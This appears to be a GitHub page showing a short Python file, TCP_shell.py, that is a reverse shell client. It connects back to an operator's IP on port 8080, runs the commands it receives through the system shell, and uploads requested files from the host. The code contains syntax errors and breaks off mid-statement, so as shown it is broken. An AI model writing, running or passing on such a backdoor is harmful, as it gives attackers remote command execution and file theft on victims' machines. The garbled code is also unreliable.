-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathTCP_shell.py
More file actions
36 lines (32 loc) · 1007 Bytes
/
TCP_shell.py
File metadata and controls
36 lines (32 loc) · 1007 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import os
import socket
import subprocess
def transfer(s,path)
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while packet != '':
s.send(packet)
packet = f.read(1024)
s.send('DONE')
f.close()
else:
s.send('Unable to find out the file')
def conenction():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('<Your Ip addrress goes here'>,8080))
while True:
command = s.recv(1024)
if 'terminate' in command:
s.close()
break
elif 'download' in command:
grab,path = command.split('*')
try:
transfer(s,path)
except Exception(e)
s.send(str(e))
pass
else:
CMD = subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
s.send